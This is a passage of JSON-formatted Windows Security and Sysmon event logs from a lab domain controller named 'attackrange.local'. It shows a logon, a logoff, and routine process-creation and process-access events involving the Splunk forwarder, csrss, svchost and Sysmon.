is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x4e6bc","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51374","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:52:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221781,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4E6BC\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x4e6bc","LogonType":"3","EventReceivedTime":"2020-08-07 11:52:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.187\r\nProcessGuid: {90617006-406A-5F2D-0000-001052E70400}\r\nProcessId: 4456\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.187","ProcessGuid":"{90617006-406A-5F2D-0000-001052E70400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-406A-5F2D-0000-001052E70400}\r\nTargetProcessId: 4456\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-406A-5F2D-0000-001052E70400}","TargetProcessId":"4456","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-406A-5F2D-0000-001052E70400}\r\nTargetProcessId: 4456\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-406A-5F2D-0000-001052E70400}","TargetProcessId":"4456","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 